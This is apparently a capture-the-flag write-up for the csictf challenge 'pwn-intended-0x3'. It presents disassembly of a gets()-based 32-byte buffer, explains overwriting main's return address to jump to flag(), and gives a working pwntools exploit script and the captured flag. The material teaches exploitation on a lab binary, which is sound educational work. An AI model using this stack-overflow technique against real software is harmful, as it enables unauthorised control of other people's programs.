This problem requires that you call a flag() function which reads the flag. Looking at the disassembly, we can see another buffer, this time of size 0x20 (32 in decimal).

┌ 104: int main (int argc, char **argv, char **envp);
│           ; var char *s @ rbp-0x20
│           0x00401166      55             push rbp
│           0x00401167      4889e5         mov rbp, rsp
│           0x0040116a      4883ec20       sub rsp, 0x20
│           ; <redacted>, Setup stdio and print some text
│           0x004011b6      488d45e0       lea rax, [s]
│           0x004011ba      4889c7         mov rdi, rax                ; char *s
│           0x004011bd      b800000000     mov eax, 0
│           0x004011c2      e899feffff     call sym.imp.gets           ;[3] ; char *gets(char *s)
│           0x004011c7      b800000000     mov eax, 0
│           0x004011cc      c9             leave
└           0x004011cd      c3             ret
┌ 38: sym.flag ();
│           0x004011ce      55             push rbp
│           ; <redacted>, print the flag
└           0x004011ef      e87cfeffff     call sym.imp.exit           ;[5] ; void exit(int status)

The exploit here is quite clear, we need to overwrite the return pointer of the main() function to 0x004011ce to run the flag() function. To do so, we first need to send 32 bytes to fill up the input buffer, then send 8 bytes,* and then the address 0x004011ce as \xce\x11@\x00\x00\x00\x00\x00 (the @ is just \x40).

* One can find this out by debugging with radare which will was described in this blog post. It is probably for alignment, but to find out exactly why you'll have to become a glibc librarian.

With that, our explain script, once again using pwntools, can be seen below. We use p64 to convert the 64-bit address to the bytes described above.

from pwn import *

p = process("./pwn-intended-0x3")
p = remote("chall.csivit.com", 30013)  # Remove for local testing
p.sendline(b"A" * (32 + 8) + p64(0x4011ce))
p.interactive()

And we get our flag, csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}, nice!